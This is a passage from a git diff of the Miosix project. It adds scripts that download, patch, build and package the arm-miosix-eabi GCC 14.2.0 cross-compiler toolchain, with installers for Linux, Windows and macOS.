quickfix lpc21isp.c + +rm -rf objdir/ log/ +if [[ $? -ne 0 ]]; then + sudo rm -rf objdir/ log/ +fi + +# Installer scripts generated by the build scripts on macOS +rm -rf installers/macos/Scripts diff --git a/tools/compiler/gcc-14.2.0-mp4.0/download.sh b/tools/compiler/gcc-14.2.0-mp4.0/download.sh new file mode 100755 index 000000000..8a6d14511 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/download.sh @@ -0,0 +1,22 @@ +#!/bin/sh + +# This simple script will download all the required source files +# for compiling arm-miosix-eabi-gcc + +mkdir downloaded || exit +cd downloaded + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +$WGET https://ftpmirror.gnu.org/binutils/binutils-2.44.tar.xz +$WGET https://ftpmirror.gnu.org/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz +$WGET https://sourceware.org/pub/newlib/newlib-3.1.0.tar.gz +$WGET https://ftpmirror.gnu.org/gdb/gdb-16.2.tar.xz +$WGET https://ftpmirror.gnu.org/gmp/gmp-6.3.0.tar.xz +$WGET https://ftpmirror.gnu.org/mpfr/mpfr-4.2.1.tar.xz +$WGET https://ftpmirror.gnu.org/mpc/mpc-1.3.1.tar.gz diff --git a/tools/compiler/gcc-14.2.0-mp4.0/install-script.sh b/tools/compiler/gcc-14.2.0-mp4.0/install-script.sh new file mode 100755 index 000000000..5fb4defb3 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/install-script.sh @@ -0,0 +1,776 @@ +#!/usr/bin/env bash + +# Script to build the gcc compiler required for Miosix. +# Usage: ./install-script -j`nproc` +# The -j parameter is passed to make for parallel compilation +# +# Building Miosix is officially supported only through the gcc compiler built +# with this script. This is because this script patches the compiler. +# Starting from Miosix 1.58 the use of the arm-miosix-eabi-gcc compiler built +# by this script has become mandatory due to patches related to posix threads +# in newlib. The kernel *won't* compile unless the correct compiler is used. +# +# Starting from 04/2014 this script is also used to build binary releases +# of the Miosix compiler for both linux and windows. Most users will want to +# download the binary relase from http://miosix.org instead of compiling GCC +# using this script. +# +# This script will install arm-miosix-eabi-gcc in /opt, creating links to +# binaries in /usr/bin. +# It should be run without root privileges, but it will ask for the root +# password when installing files to /opt and /usr/bin + +#### Configuration tunables -- begin #### + +__GCCPATCUR='4.0' # Can't autodetect this one easily from gcc.patch + +# Uncomment if installing globally on this system +PREFIX=/opt/arm-miosix-eabi +DESTDIR= +SUDO=sudo +# Uncomment if installing locally on this system, sudo isn't necessary +#PREFIX=`pwd`/gcc/arm-miosix-eabi +#DESTDIR= +#SUDO= +# Uncomment for producing a package for redistribution. The prefix is set to the +# final install directory, but when this script does "make install" files are +# copied with $DESTDIR as prefix. When doing a redistibutable build you also +# have to specify HOST or (on Mac OS), BUILD, see below. +# When compiling the Windows installer, do not change the default values! +# WARNING: Please note that since the already installed version of +# arm-miosix-eabi-gcc is used to build the standard libraries, it +# MUST BE THE EXACT SAME VERSION, including miosix-specific patches. Thus when +# adding new patches you need to first install the new compiler system-wide and +# only after that build the redistributable one +#PREFIX=/opt/arm-miosix-eabi +#DESTDIR=`pwd`/dist +#SUDO= + +# Uncomment if targeting a local install. This will use -march= -mtune= flags +# to optimize for your processor, but the code won't be portable to other +# architectures, so don't distribute it +BUILD= +HOST= +# Uncomment if targeting linux 64 bit (distributable) +#BUILD= +#HOST=x86_64-linux-gnu +# Uncomment if targeting windows 64 bit (distributable) +# You have to run this script from Linux anyway (see canadian cross compiling). +# Must first install the mingw-w64 toolchain. +#BUILD= +#HOST=x86_64-w64-mingw32 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on Linux +# Must first install the osxcross toolchain +#BUILD= +#HOST=x86_64-apple-darwin18 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on macOS. +# The script must be run under macOS and without canadian cross compiling +# because it confuses autotools's configuration scripts. Instead we set the +# compiler options for macOS minimum version and architecture in order to be +# able to deploy the binaries on older machines and OS versions. We also must +# force --build and --host to specify a x86_64 cpu to avoid +# architecture-dependent code. +#BUILD=x86_64-apple-darwin17 +#HOST= +#export CFLAGS='-mmacos-version-min=10.13 -O3' +#export CXXFLAGS='-mmacos-version-min=10.13 -O3' +# Uncomment if targeting macOS 64 bit ARM64 (distributable). +# Run the script under arm64 macOS. +#BUILD=aarch64-apple-darwin20 +#HOST= +#export CFLAGS='-mmacos-version-min=11.0 -O3' +#export CXXFLAGS='-mmacos-version-min=11.0 -O3' + +#### Configuration tunables -- end #### + +# Libraries are compiled statically, so they are never installed in the system +LIB_DIR=`pwd`/lib + +# Program versions +BINUTILS=binutils-2.44 +GCC=gcc-14.2.0 +NEWLIB=newlib-3.1.0 +GDB=gdb-16.2 +GMP=gmp-6.3.0 +MPFR=mpfr-4.2.1 +MPC=mpc-1.3.1 +NCURSES=ncurses-6.1 +MAKE=make-4.2.1 +MAKESELF=makeself-2.4.5 +EXPAT=expat-2.2.10 + +quit() { + echo $1 + exit 1 +} + +# Is it a redistributable build? +if [[ $DESTDIR ]]; then + if [[ $SUDO ]]; then + quit ":: Error global install distributable compiling are mutually exclusive" + fi + if [[ $(uname -s) == 'Darwin' ]]; then + if [[ -z $BUILD ]]; then + quit ":: Error distributable compiling but no BUILD specifed" + fi + else + if [[ -z $HOST ]]; then + quit ":: Error distributable compiling but no HOST specifed" + fi + fi + # Since we do not install the bootstrapped arm-miosix-eabi-gcc during the + # build process, for making libc, libstdc++, ... we need the same version of + # arm-miosix-eabi-gcc that we are going to compile already installed locally + # in the system from which we are compiling. + __GCCVER=`arm-miosix-eabi-gcc --version | perl -ne \ + 'next unless(/(\d+\.\d+.\d+)/); print "gcc-$1\n";'`; + __GCCPAT=`arm-miosix-eabi-gcc -dM -E - < /dev/null | perl -e \ + 'my $M, my $m; + while(<>) { + $M=$1 if(/_MIOSIX_GCC_PATCH_MAJOR (\d+)/); + $m=$1 if(/_MIOSIX_GCC_PATCH_MINOR (\d+)/); + } + print "mp$M.$m";'`; + if [[ ($__GCCVER != $GCC) || ($__GCCPAT != "mp${__GCCPATCUR}") ]]; then + quit ":: Error must first install ${GCC}mp${__GCCPATCUR} system-wide" + fi + if [[ ! -e $PREFIX/bin/arm-miosix-eabi-gcc ]]; then + quit ":: Error To use \$DESTDIR you must first install ${GCC}mp${__GCCPATCUR} in the same prefix" + fi +else + if [[ $HOST || $BUILD ]]; then + # NOTE: doing a non redistributable build but specifying HOST or BUILD + # may work, but is untested. Remove this line if you want to try. + quit ":: Specifying either HOST or BUILD without DESTDIR is not supported" + fi + # For local builds assume there's no existing miosix compiler installed, + # add the install prefix to the path in order to ensure tools are available + # as soon as we build them. + export PATH=$PREFIX/bin:$PATH +fi + +# Are we canadian cross compiling? +if [[ $HOST ]]; then + # Canadian cross compiling requires the compiler for the host machine + which "$HOST-gcc" > /dev/null || quit ":: Error must have host cross compiler" + + HOSTCC="$HOST-gcc" + HOSTSTRIP="$HOST-strip" + if [[ $HOST == *mingw* ]]; then + HOSTCXX="$HOST-g++ -static -s" # For windows not to depend on libstdc++.dll + EXT=".exe" + else + HOSTCXX="$HOST-g++" + EXT= + fi +else + HOSTCC=gcc + HOSTCXX=g++ + HOSTSTRIP=strip + EXT= +fi + +if [[ $1 == '' ]]; then + if command -v nproc > /dev/null; then + PARALLEL="-j$(nproc)" + elif [[ $(uname -s) == 'Darwin' ]]; then + PARALLEL="-j$(sysctl -n hw.logicalcpu)" + else + PARALLEL="-j1"; + fi +else + PARALLEL=$1; +fi + +# +# Part 1/2: extract data, apply patches +# + +extract() +{ + label=$1 + filename=$2 + shift 2 + directory=${filename%.tar*} + + if [[ -e $directory ]]; then + echo "Skipping extraction/patching of $label, directory $directory exists" + else + echo "Extracting $label..." + tar -xf "downloaded/$filename" || quit ":: Error extracting $label" + for patchfile in $@; do + echo "Applying ${patchfile}..." + patch -p0 < "$patchfile" || quit ":: Failed patching $label" + done + fi +} + +extract 'binutils' $BINUTILS.tar.xz patches/binutils.patch +extract 'gcc' $GCC.tar.xz patches/gcc.patch patches/gcc_atomics.patch +extract 'newlib' $NEWLIB.tar.gz patches/newlib.patch patches/newlib_gcc14.patch +extract 'gdb' $GDB.tar.xz patches/gdb.patch +extract 'gmp' $GMP.tar.xz +extract 'mpfr' $MPFR.tar.xz +extract 'mpc' $MPC.tar.gz + +if [[ $HOST == *mingw* ]]; then + extract 'make' $MAKE.tar.gz +fi +if [[ $HOST == *linux* ]]; then + extract 'ncurses' $NCURSES.tar.gz +fi +if [[ $DESTDIR ]]; then + extract 'expat' $EXPAT.tar.xz +fi + +unzip -o lpc21isp_148_src.zip || quit ":: Error extracting lpc21isp" +mkdir log + +# +# Part 3: compile libraries +# + +cd $GMP + +if [[ $HOST ]]; then + # GMP's configure script is bugged and does not properly handle canadian cross + # compiling, so we need to properly inform it manually by setting these + # environment variables. See also: https://gmplib.org/list-archives/gmp-discuss/2020-July/006519.html + export CC_FOR_BUILD='gcc' + export CPP_FOR_BUILD='g++' +fi + +if [[ $(uname -s) == 'Darwin' ]]; then + # On macOS, the assembly implementations in GMP intermittently cause + # either compilation failures or broken builds. Disable them + MX_GMP_ASSEMBLY="--disable-assembly" +else + MX_GMP_ASSEMBLY="" +fi + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + $MX_GMP_ASSEMBLY \ + 2> ../log/z.gmp.a.txt || quit ":: Error configuring gmp" + +make all $PARALLEL 2>../log/z.gmp.b.txt || quit ":: Error compiling gmp" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL 2> ../log/z.gmp.c.txt || quit ":: Error testing gmp" +fi + +make install 2>../log/z.gmp.d.txt || quit ":: Error installing gmp" + +if [[ $HOST ]]; then + unset CC_FOR_BUILD + unset CPP_FOR_BUILD +fi + +cd .. + +cd $MPFR + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + 2> ../log/z.mpfr.a.txt || quit ":: Error configuring mpfr" + +make all $PARALLEL 2>../log/z.mpfr.b.txt || quit ":: Error compiling mpfr" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL 2> ../log/z.mpfr.c.txt || quit ":: Error testing mpfr" +fi + +make install 2>../log/z.mpfr.d.txt || quit ":: Error installing mpfr" + +cd .. + +cd $MPC + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + 2> ../log/z.mpc.a.txt || quit ":: Error configuring mpc" + +make all $PARALLEL 2>../log/z.mpc.b.txt || quit ":: Error compiling mpc" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling for windows + make check $PARALLEL 2> ../log/z.mpc.c.txt || quit ":: Error testing mpc" +fi + +make install 2>../log/z.mpc.d.txt || quit ":: Error installing mpc" + +cd .. + +# +# Part 4: compile and install binutils +# + +cd $BINUTILS + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-interwork \ + --enable-multilib \ + --enable-lto \ + --disable-werror 2>../log/a.txt || quit ":: Error configuring binutils" + +make all $PARALLEL 2>../log/b.txt || quit ":: Error compiling binutils" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/c.txt || quit ":: Error installing binutils" + +cd .. + +# +# Part 5: compile and install gcc-start +# + +mkdir objdir +cd objdir + +# GCC needs the C headers of the target to configure and build the C++ standard +# library, therefore when configured --with-headers=[...] the configure script +# unconditionally copies those headers in the +# $PREFIX/arm-miosix-eabi/sys-include folder. +# This is fine for local installs, (up to a certain point, see later +# comments), but for distributable builds we already have the headers in +# $PREFIX/arm-miosix-eabi/include (not in sys-include!) and we don't want to +# touch the existing install. +# However the GCC makefiles are not clever enough to search in `include` +# rather than `sys-include` when checking if limits.h exists to decide whether +# to "fix" it. Since `sys-include` does not exists, GCC does not find limits.h +# and replaces it with its own, which does not include all definitions made +# by newlib's one. This incorrect file ends up installed and used by the +# built GCC causing build failures usually related to missing defines used +# by dirent.h. +# Therefore we must differentiate the case in which we are installing +# or building for redistribution. When we build for redistribution we use +# --with-sysroot and --with-native-system-header-dir to instruct the GCC +# configure script to set CROSS_SYSTEM_HEADER_DIR to the place where we already +# have our headers available, without attempting to copy stuff in $PREFIX. +if [[ $DESTDIR ]]; then + __GCC_CONF_HEADERS_PARAM="--with-sysroot=$PREFIX/arm-miosix-eabi --with-native-system-header-dir=/include" +else + __GCC_CONF_HEADERS_PARAM=--with-headers=../$NEWLIB/newlib/libc/include +fi + +$SUDO ../$GCC/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + --with-mpc=$LIB_DIR \ + MAKEINFO=missing \ + --prefix=$PREFIX \ + --disable-shared \ + --disable-libssp \ + --disable-nls \ + --enable-libgomp \ + --disable-libstdcxx-pch \ + --disable-libstdcxx-dual-abi \ + --disable-libstdcxx-filesystem-ts \ + --enable-threads=miosix \ + --enable-languages="c,c++" \ + --enable-lto \ + --disable-wchar_t \ + --with-newlib \ + ${__GCC_CONF_HEADERS_PARAM} \ + --with-pkgversion="GCC_mp${__GCCPATCUR}" \ + 2>../log/d.txt || quit ":: Error configuring gcc-start" + +$SUDO make all-gcc $PARALLEL 2>../log/e.txt || quit ":: Error compiling gcc-start" + +$SUDO make install-gcc DESTDIR=$DESTDIR 2>../log/f.txt || quit ":: Error installing gcc-start" + +if [[ -z $DESTDIR ]]; then + # Remove the sys-include directory if we are installing locally. + # There are two reasons why to remove it: first because it is unnecessary, + # second because it is harmful. + # After gcc is compiled, the installation of newlib places the headers in the + # include dirctory and at that point the sys-include headers aren't necessary anymore + # Now, to see why the're harmful, consider the header newlib.h It is initially + # empty and is filled in by the newlib's ./configure with the appropriate options + # Now, since the configure process happens after, the newlib.h in sys-include + # is the wrong (empty) one, while the one in include is the correct one. + # This causes troubles because newlib.h contains the _WANT_REENT_SMALL used to + # select the appropriate _Reent struct. This error is visible to user code since + # GCC seems to take the wrong newlib.h and user code gets the wrong _Reent struct + $SUDO rm -rf $PREFIX/arm-miosix-eabi/sys-include + + # Another fix, looks like export PATH isn't enough for newlib, it fails + # running arm-miosix-eabi-ranlib when installing + if [[ $SUDO ]]; then + # This is actually done also later, but we don't want to add a symlink too + $SUDO rm $PREFIX/bin/arm-miosix-eabi-$GCC$EXT + + # Linking to /usr/bin does not work on macOS because of SIP, but newlib + # appears to build just fine with export PATH on macOS... + if [[ ! ( $(uname -s) == 'Darwin' ) ]]; then + $SUDO ln -s $DESTDIR$PREFIX/bin/* /usr/bin + fi + fi +fi + +cd .. + +# +# Part 6: compile and install newlib +# + +mkdir newlib-obj +cd newlib-obj + +../$NEWLIB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-multilib \ + --enable-newlib-reent-small \ + --enable-newlib-multithread \ + --enable-newlib-io-long-long \ + --disable-newlib-io-c99-formats \ + --disable-newlib-io-long-double \ + --disable-newlib-io-pos-args \ + --disable-newlib-mb \ + --disable-newlib-supplied-syscalls \ + 2>../log/g.txt || quit ":: Error configuring newlib" + +make $PARALLEL 2>../log/h.txt || quit ":: Error compiling newlib" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/i.txt || quit ":: Error installing newlib" + +cd .. + +# +# Part 7: compile and install gcc-end +# + +cd objdir + +$SUDO make all $PARALLEL 2>../log/j.txt || quit ":: Error compiling gcc-end" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/k.txt || quit ":: Error installing gcc-end" + +cd .. + +# +# Part 8: Fixup and verify multilibs +# + +# 8A: remove root multilib. +# GCC apparently assumes that when no appropriate multilib is found, it is +# always safe to link without multilibs (i.e. with the libraries found directly +# in /lib). However, for the ARM architecture this assumption is completely +# wrong, due to (1) the presence of 3 mutually incompatible instruction sets +# (ARM, Thumb and Thumb2) and (2) the fact that the default compilation options +# build for an extremely old configuration (-mcpu=arm7tdmi -marm) which produces +# code not runnable on any modern ARM microcontroller CPU. +# This line removes all the libraries not included in a multilib to prevent +# GCC from producing broken binaries silently. +# As a result, the use of compilation options not supported by the toolchain +# will result in a link-time failure to find the libraries, hinting that +# something is wrong. + +echo "::Deleting root multilibs" +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.specs +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.o +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.a +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.ld +$SUDO rm -rf "$DESTDIR$PREFIX/arm-miosix-eabi/lib/cpu-init" +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/14.2.0"/*.o +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/14.2.0"/*.a + +# 8B: check that all multilibs have been built. +# This check has been added after an attempt to build arm-miosix-eabi-gcc on Fedora +# where newlib's multilibs were not built. Gcc produced binaries that failed on +# Cortex M3 because the first call to a libc function was a blx into ARM instruction +# set, but since Cortex M3 only has the thumb2 instruction set, the CPU locked. +# By checking that all multilibs are correctly built, this error can be spotted +# immediately instead of leaving a gcc that produces wrong code in the wild. + +check_multilibs() { + if [[ ! -f $1/libc.a ]]; then + quit "::Error, $1/libc.a not installed" + fi + if [[ ! -f $1/libm.a ]]; then + quit "::Error, $1/libm.a not installed" + fi + if [[ ! -f $1/libg.a ]]; then + quit "::Error, $1/libg.a not installed" + fi + if [[ ! -f $1/libatomic.a ]]; then + quit "::Error, $1/libatomic.a not installed" + fi + if [[ ! -f $1/libstdc++.a ]]; then + quit "::Error, $1/libstdc++.a not installed" + fi + if [[ ! -f $1/libsupc++.a ]]; then + quit "::Error, $1/libsupc++.a not installed" + fi +} + +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/arm/v4t/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v4t/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard/pie/single-pic-base +echo "::All multilibs have been built. OK" + +# +# Part 9: compile and install gdb +# + +# GDB on linux/windows needs expat +if [[ $DESTDIR ]]; then + cd $EXPAT + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static=yes \ + --enable-shared=no \ + 2> ../log/z.expat.a.txt || quit ":: Error configuring expat" + + make all $PARALLEL 2>../log/z.expat.b.txt || quit ":: Error compiling expat" + + make install 2>../log/z.expat.d.txt || quit ":: Error installing expat" + + cd .. +fi + +# GDB on linux requires ncurses, and not to depend on them when doing a +# redistributable linux build we build a static version +# Based on previous gdb that when run with --tui reported as error +# "Error opening terminal: xterm-256color" we now build this terminal as +# fallback within ncurses itself. +if [[ $HOST == *linux* ]]; then + cd $NCURSES + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --with-normal --without-shared \ + --without-ada --without-cxx-binding --without-debug \ + --with-fallbacks='xterm-256color' \ + --without-manpages --without-progs --without-tests \ + 2> ../log/z.ncurses.a.txt || quit ":: Error configuring ncurses" + + make all $PARALLEL 2>../log/z.ncurses.b.txt || quit ":: Error compiling ncurses" + + make install 2>../log/z.ncurses.d.txt || quit ":: Error installing ncurses" + + cd .. +fi + +mkdir gdb-obj +cd gdb-obj + +# CXX=$HOSTCXX to avoid having to distribute libstdc++.dll on windows +CXX=$HOSTCXX ../$GDB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + --with-libmpfr-prefix=$LIB_DIR \ + --with-libexpat-prefix=$LIB_DIR \ + --with-system-zlib=no \ + --with-lzma=no \ + --with-python=no \ + --enable-interwork \ + --enable-multilib \ + --disable-werror 2>../log/l.txt || quit ":: Error configuring gdb" + +# Specify a dummy MAKEINFO binary to work around an issue in the gdb makefiles +# where compilation fails if MAKEINFO is not installed. +# https://sourceware.org/bugzilla/show_bug.cgi?id=14678 +make all MAKEINFO=/usr/bin/true $PARALLEL 2>../log/m.txt || quit ":: Error compiling gdb" + +$SUDO make install MAKEINFO=/usr/bin/true DESTDIR=$DESTDIR 2>../log/n.txt || quit ":: Error installing gdb" + +cd .. + +# +# Part 10: install the postlinker +# +cd mx-postlinker +make CXX="$HOSTCXX" SUFFIX=$EXT || quit ":: Error compiling mx-postlinker" +$SUDO make install CXX="$HOSTCXX" SUFFIX=$EXT \ + INSTALL_DIR=$DESTDIR$PREFIX/bin \ + || quit ":: Error installing mx-postlinker" +make CXX="$HOSTCXX" SUFFIX=$EXT clean +cd .. + +# +# Part 11: compile and install lpc21isp.c +# + +$HOSTCC -o lpc21isp$EXT lpc21isp.c || quit ":: Error compiling lpc21isp" + +$SUDO mv lpc21isp$EXT $DESTDIR$PREFIX/bin || quit ":: Error installing lpc21isp" + +# +# Part 12: install GNU make and rm (windows release only) +# + +if [[ $HOST == *mingw* ]]; then + + cd $MAKE + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$PREFIX 2> z.make.a.txt || quit ":: Error configuring make" + + make all $PARALLEL 2>../log/z.make.b.txt || quit ":: Error compiling make" + + make install DESTDIR=$DESTDIR 2>../log/z.make.c.txt || quit ":: Error installing make" + + cd .. + + # FIXME get a better rm to distribute for windows + $HOSTCC -o rm$EXT -O2 installers/windows/rm.c || quit ":: Error compiling rm" + + mv rm$EXT $DESTDIR$PREFIX/bin || quit ":: Error installing rm" +fi + +# +# Part 13: Final fixups +# + +# Remove this since its name is not arm-miosix-eabi- +$SUDO rm $DESTDIR$PREFIX/bin/arm-miosix-eabi-$GCC$EXT +# Remove this since it is useless when cross-compiling +$SUDO rm $DESTDIR$PREFIX/bin/arm-miosix-eabi-gstack + +# Strip stuff that is very large when having debug symbols to save disk space +# This simple thing can easily save 500+MB +find $DESTDIR$PREFIX -name cc1$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name cc1plus$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name lto1$EXT | $SUDO xargs $HOSTSTRIP +$SUDO $HOSTSTRIP $DESTDIR$PREFIX/bin/* + + + +# Installers, env variables and other stuff +if [[ $DESTDIR ]]; then + if [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *linux* ) ]]; then + # Build a makeself installer + # Distribute the installer and uninstaller too + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" installers/linux/installer.sh > $DESTDIR$PREFIX/installer.sh + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" uninstall.sh > $DESTDIR$PREFIX/uninstall.sh + chmod +x $DESTDIR$PREFIX/installer.sh $DESTDIR$PREFIX/uninstall.sh + sh downloaded/$MAKESELF.run + # NOTE: --keep-umask otherwise the installer extracts files setting to 0 + # permissions to group and other, resulting in an unusable installation + ./$MAKESELF/makeself.sh --xz --keep-umask \ + $DESTDIR$PREFIX \ + MiosixToolchainInstaller14.2.0mp4.0.run \ + "Miosix toolchain for Linux (GCC 14.2.0-mp4.0)" \ + "./installer.sh" + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *mingw* ) ]]; then + # Build an executable installer for Windows + cd installers/windows + wine "C:\Program Files (x86)\Inno Setup 6\Compil32.exe" /cc MiosixInstaller.iss + cd ../.. + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *darwin* ) ]]; then + echo "TODO: there seems to be no way to produce a .pkg mac installer" + echo "from Linux as the pkgbuild/productbuild tools aren't available" + elif [[ $(uname -s) == 'Darwin' ]]; then + # Build a .pkg installer for macOS if we are on macOS and we are building for it + cp uninstall.sh $DESTDIR$PREFIX + # Prepare the postinstall script by replacing the correct prefix + mkdir -p installers/macos/Scripts + cat installers/macos/ScriptsTemplates/postinstall | \ + sed -e 's|PREFIX=|PREFIX='"$PREFIX"'|' > \ + installers/macos/Scripts/postinstall + chmod +x installers/macos/Scripts/postinstall + # Build a standard macOS package. + # The wizard steps are configured by the Distribution.xml file. + # Documentation: + # https://developer.apple.com/library/archive/documentation/ + # DeveloperTools/Reference/DistributionDefinitionRef/Chapters/ + # Introduction.html#//apple_ref/doc/uid/TP40005370-CH1-SW1 + # Also see `man productbuild` and `man pkgbuild`. + distr_script='installers/macos/Distribution_Intel.xml' + suffix='Intel' + if [[ $BUILD == aarch64* ]]; then + distr_script='installers/macos/Distribution_ARM.xml' + suffix='ARM' + fi + # Detect selected minimum OS version from $CFLAGS + min_os_ver=$(echo "$CFLAGS" | sed -E 's/.*-mmacos-version-min=([^ ]+).*/\1/g') + if [[ -z "${min_os_ver}" ]]; then + # Not specified in $CFLAGS: use the OS version associated to the SDK + # we are using + min_os_ver="$(xcrun --show-sdk-version)" + fi + + pkgbuild \ + --identifier 'org.miosix.toolchain.gcc' \ + --version "14.2.0.${__GCCPATCUR}" \ + --min-os-version "${min_os_ver}" \ + --install-location / \ + --scripts installers/macos/Scripts \ + --root $DESTDIR \ + "gcc.pkg" + productbuild \ + --distribution ${distr_script} \ + --resources installers/macos/Resources \ + --package-path ./ \ + "./MiosixToolchainInstaller14.2.0mp${__GCCPATCUR}_${suffix}.pkg" + fi +else + # Install the uninstaller too + chmod +x uninstall.sh + $SUDO cp uninstall.sh $DESTDIR$PREFIX + # If sudo not an empty variable and we are not on macOS, make symlinks to + # /usr/bin. else make a script to override PATH + if [[ ( $(uname -s) != 'Darwin' ) && $SUDO ]]; then + $SUDO ln -s $DESTDIR$PREFIX/bin/* /usr/bin + else + echo '# Used when installing the compiler locally to test it' > env.sh + echo '# usage: $ . ./env.sh' >> env.sh + echo '# or $ source ./env.sh' >> env.sh + echo "export PATH=$PREFIX/bin:"'$PATH' >> env.sh + chmod +x env.sh + fi +fi + +# +# The end. +# + +echo ":: Successfully installed" diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/additional-download.sh b/tools/compiler/gcc-14.2.0-mp4.0/installers/additional-download.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/additional-download.sh rename to tools/compiler/gcc-14.2.0-mp4.0/installers/additional-download.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps-windows.sh b/tools/compiler/gcc-14.2.0-mp4.0/installers/checkdeps-windows.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps-windows.sh rename to tools/compiler/gcc-14.2.0-mp4.0/installers/checkdeps-windows.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps.sh b/tools/compiler/gcc-14.2.0-mp4.0/installers/checkdeps.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps.sh rename to tools/compiler/gcc-14.2.0-mp4.0/installers/checkdeps.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/linux/installer.sh b/tools/compiler/gcc-14.2.0-mp4.0/installers/linux/installer.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/linux/installer.sh rename to tools/compiler/gcc-14.2.0-mp4.0/installers/linux/installer.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/.gitignore b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/.gitignore similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/.gitignore rename to tools/compiler/gcc-14.2.0-mp4.0/installers/macos/.gitignore diff --git a/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_ARM.xml b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_ARM.xml new file mode 100644 index 000000000..8332c52f2 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/installers/macos/Distribution_ARM.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Apple Silicon) + + + + + + + + + + gcc.pkg + + + 